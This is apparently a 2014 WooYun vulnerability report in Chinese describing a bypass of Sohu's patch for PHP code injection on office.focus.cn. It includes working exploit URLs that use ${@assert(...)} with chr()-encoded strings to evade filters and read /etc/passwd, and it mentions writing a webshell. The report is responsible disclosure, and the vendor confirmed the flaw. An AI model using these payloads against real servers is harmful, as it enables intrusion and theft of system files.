[公开漏洞]绕过搜狐补丁继续命令执行

绕过搜狐补丁继续命令执行 相关厂商： 搜狐 漏洞作者：sql 提交时间：2014-06-09 21:55 公开时间：2014-07-24 21:56 漏洞类型：命令执行 危害等级：高 自评Rank：20 漏洞状态： 厂商已经确认 漏洞来源：http://www.wooyun.org Tags标签： php代码执行 漏洞详情 披露状态：

2014-06-09：细节已通知厂商并且等待厂商处理中
2014-06-09：厂商已经确认，细节仅向厂商公开
2014-06-19：细节向核心白帽子及相关领域专家公开
2014-06-29：细节向普通白帽子公开
2014-07-09：细节向实习白帽子公开
2014-07-24：细节向公众公开

简要描述：

绕过搜狐补丁继续命令执行

详细说明：

今晚本来想看看昨天提的sohu的那个命令执行 看他是怎么修补的。

没成想

http://officeimg.focus.cn/ 这个站整个毙掉了。

访问直接403



然后我google了下 又找到一个 sohu的站 同样的参数。



然后执行

http://office.focus.cn/park/search.php?city_code=110000&region_code=0&loopline=&business_circles=&property=&sale_status=0&office_name=$%7B@phpinfo()%7D

发现没出来信息。

看了下源码发现 把in替换了。

经测试 发现 单引号也都过滤了。



不过这样就可以绕过

http://office.focus.cn/park/search.php?city_code=110000&region_code=0&loopline=&business_circles=&property=&sale_status=0&office_name=$%7B@assert(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41))%7D

通过这种方法 还是读文件



例如读 /etc/passwd

http://office.focus.cn/park/search.php?city_code=110000&region_code=0&loopline=&business_circles=&property=&sale_status=0&office_name=$%7Bassert(var_dump



(file_get_contents(chr(47).chr(101).chr(116).chr(99).chr(47).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100))))%7D

我想找到一个可写目录 应该可以写一个shell进去





不过我比较懒 就没找了。

漏洞证明：

同上

修复方案：

还是从根本上解决问题吧

版权声明：转载请注明来源 sql@乌云

漏洞回应 厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-06-09 22:43

厂商回复：

感谢支持。

最新状态：

暂无